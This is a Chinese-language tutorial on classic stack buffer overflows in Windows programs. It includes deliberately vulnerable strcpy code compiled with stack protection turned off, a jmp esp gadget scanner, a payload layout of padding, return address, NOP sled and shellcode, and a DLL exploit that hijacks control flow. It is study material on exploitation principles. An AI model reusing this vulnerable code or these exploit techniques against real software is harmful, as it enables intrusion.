棧溢出是緩沖區溢出中最為常見的一種攻擊手法,其原理是,程序在運行時棧地址是由操作系統來負責維護的,在我們調用函數時,程序會將當前函數的下一條指令的地址壓入棧中,而函數執行完畢后,則會通過ret指令從棧地址中彈出壓入的返回地址,並將返回地址重新裝載到EIP指令指針寄存器中,從而繼續運行,然而將這種控制程序執行流程的地址保存到棧中,必然會給棧溢出攻擊帶來可行性。
前面的筆記《緩沖區溢出與攻防博弈》中已經具體的介紹了緩沖區溢出的基本知識,也了解到了攻防雙方技術的博弈過程,本次我們將來看幾個簡單的本地溢出案例,本次測試環境為Windows10系統+VS 2013編譯器,該編譯器默認開啟GS保護,在下方的實驗中需要手動將其關閉。
C語言中通常會提供給我們標准的函數庫,這些標准函數如果使用不當則會造成意想不到的后果。
strcpy() vfscanf()
strcat() vsprintf()
sprintf() vscanf()
scanf() vsscanf()
sscanf() streadd()
fscanf() strecpy()
### 針對EXE文件的溢出利用
以下案例就是利用了 strcpy()
函數的漏洞從而實現溢出的,程序運行后用戶從命令行傳入一個參數,該參數的大小是不固定的,傳入參數后由內部的 geting()
函數接收,並通過strcpy()
函數將臨時數據賦值到name
變量中,最后將其打印出來,很明顯代碼中並沒有對用戶輸入的變量進行長度的限定。
#include <stdio.h>
#include <string.h>
void geting(char *temp){
char name[10];
strcpy(name, temp);
printf("%s \n", name);
}
int main(int argc,char *argv[])
{
geting(argv[1]);
return 0;
}
直接保存為overflow.c
然后執行 cl /Zi /GS- overflow.c
編譯並生成可執行文件,參數中的/GS-
就是關閉當前的GS保護。
C:\Users\LyShark\Desktop>cl /Zi /GS- overflow.c
用於 x86 的 Microsoft (R) C/C++ 優化編譯器 18.00.21005.1
overflow.c
Microsoft (R) Incremental Linker Version 12.00.21005.1
Copyright (C) Microsoft Corporation. All rights reserved.
/out:overflow.exe
/debug
overflow.obj
接着我們需要在命令行界面中運行來啟動調試器,其中第一個參數 overflow.exe
就是我們的程序名,第二個參數是傳入命令行參數,我們首先傳入一個正常大小的字符串。
C:\OllyICE> OllyICE.exe overflow.exe hello
載入上面所編寫的 exe 程序。由於我們需要從 main 函數開始分析,但是OD並沒有在main函數處停下,而是停在了程序的初始化部分,如下圖所示:
上方這些代碼並不是我們寫的而是編譯器自動生成的,這里我們無需關心這些代碼片段,我們只需要找到程序的OPE入口即可,通過觀察獲取,這里經過不斷地分析找到了程序的OEP 0012A1050
,直接在此處下斷點。
進一步分析后觀察發現,下方代碼就是我們程序中的 geting()
這個函數,溢出也正是發生在這里的,注意堆棧變化。
這里由於我們傳遞了正常的參數,所以沒有溢出,下圖可看出程序正常返回並沒有覆蓋ESP/EIP等指針。
重新運行程序,然后輸入一個超長字符串,這里我就輸入一串 lysharkAAAAAAAAABBBB
上方截圖可知,程序的返回地址已被BBBB等字母霸占了,當程序執行ret指令返回時,程序會在堆棧中取出42424242並將該地址賦值給EIP指針,而42424242這個地址是錯誤的指令,所以程序會報錯。
除此之外還需要查找系統中的跳板指令,這里的跳板是程序中原有的機器碼,其包括如 jmp esp,call esp,jmp ecx等,我們需要利用這些跳板指令完成對堆棧地址的定位。
再次運行程序,然后輸入一個正常字符串 lyshark
,用OD載入,執行到main函數最后的位置,即retn語句處,此時我們關注一下esp寄存器所保存的值:
上圖可知,現在esp中保存的值是012A1067
,而在棧中這個地址對應的就是我們的返回地址,即我們下一條語句的位置。然后我們此時再按一下F8,單步執行,那么此時Geting()函數就會執行完畢:
我們還發現ESP指針的值會自動變成返回地址的下一個位置,而esp的這種變化,一般是不受任何情況影響的,因為堆棧的地址是動態變化的,所以我們才需要找到一個跳板函數來實現跳轉到堆棧中布置好的ShellCode中去。
jmp esp 這條機器指令,在很多動態連接庫中都存在,jmp esp的機器碼是0xFFE4,我們可以編寫一個程序,來在kernelbase.dll中查找是否存在jmp esp 指令,需要注意的是,這里必須查找程序中已經加載的動態鏈接庫。
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
BYTE *ptr;
int position;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary("kernelbase.dll");
ptr = (BYTE*)handle;
for (position = 0; !done_flag; position++)
{
try
{
if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4)
{
int address = (int)ptr + position;
printf("找到跳板指令:0x%x\n", address);
}
}
catch (...)
{
int address = (int)ptr + position;
printf("結束指針位置:0x%x\n", address);
done_flag = true;
}
}
getchar();
return 0;
}
上方代碼運行后,會得到一個跳板地址 0x76c2fb75
如下,當然其他的模塊中可能存在更多的跳板指令。
我們手動將堆棧中的 424242 替換為 0x76c2fb75 注意該地址應該反寫,如下所示:
當程序運行時,首先會ret返回,而程序返回會在堆棧中將 0x76c2fb75 這個內存地址回寫到 EIP中,然后會執行第一次跳轉,其跳轉到 kernelbase.dll 中的 jmp esp 中。
觀察發現,esp指針的地址是 013DFBE8
,也就將當前程序的控制流指向了堆棧中,我們只需要在堆棧中布置好合理的ShellCode就可以執行任意代碼。
至此該程序就分析完畢了,經過分析我們的ShellCode代碼應該這樣構建,其形式是:AAAAAAAAAAAAAAAA BBBB NNNNNNN ShellCode
這里的A 代表的是正常輸出內容,其作用是正好不多不少的填充滿這個緩沖區。
這里的B 代表的是 jmp esp 的機器指令,該處應該為 0x76c2fb75 。
這里的N 代表Nop雪橇的填充,一般的 20 個Nop左右就好。
這里 ShellCode 就是我們要執行的惡意代碼啦。
輸入方式應該是,當程序運行后會先跳轉到 jmp esp 並執行該指令,然后jmp esp 會跳轉到 nop雪橇的位置,程序的執行流會順着nop雪橇滑向ShellCode代碼,從而實現反彈Shell。
D:\OllyICE> OllyICE.exe overflow.exe Ax16 + jmp esp + nop x 20 + ShellCode
### 針對Dll文件的溢出利用
很多時候我們要分析的目標不是一個EXE可執行文件,而是一個DLL文件,這樣的例子很多,比如Windows系統中有很多系統模塊都是DLL文件,這些文件如果出現漏洞該如何利用呢?接下來我們將來研究針對DLL文件的利用方法,最后編寫利用代碼實現DLL文件的利用。
1.首先我們先來創建一個 ntdll.cpp
的可執行文件,其中有兩個函數,一個是彈窗提示,而另一個則是字符串的拷貝函數,編譯這個DLL文件。
#include <windows.h>
#include <iostream>
#pragma comment(lib,"User32.lib")
bool APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid){
return true;
}
extern "C"__declspec(dllexport) void ntMsgBox(){
::MessageBox(NULL,TEXT("hello lyshark"),TEXT("MsgBox"),MB_OK);
}
extern "C"__declspec(dllexport) void ntCheck(char *Code){
char name[10];
strcpy(name,Code);
printf("Buffer Is: %s",Code);
}
C:\Users\> cl /c /GS- /EHsc ntdll.cpp
C:\Users\> link /dll ntdll.obj
接着我們通過緩沖區溢出漏洞,實現調用 ntCheck
函數是,讓其彈出 MsgBox
提示框,通過OD分析找到MsgBox地址是 0x5BAB1090
接着編寫利用代碼如下:
#include <windows.h>
#include <iostream>
#include <string.h>
typedef void(*MyPROC)(char *);
int main(){
HINSTANCE libHandle;
MyPROC Func;
char DllName[] = "./ntdll.dll";
libHandle = LoadLibrary(DllName);
Func = (MyPROC)GetProcAddress(libHandle, "ntCheck");
char Str[0x4096];
char source[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41" // 填充滿緩沖區
"\x90\x10\xab\x5b" // 跳轉到MsgBox
memcpy(Str,source,sizeof(source));
(Func)(Str);
FreeLibrary(libHandle);
return 0;
}
隨着編譯器廠商和操作系統廠商的各種新技術的出現,這些傳統的緩沖區溢出的利用已經變得非常困難了,所以以上筆記只能作為原理方面的研究,並沒有實際價值。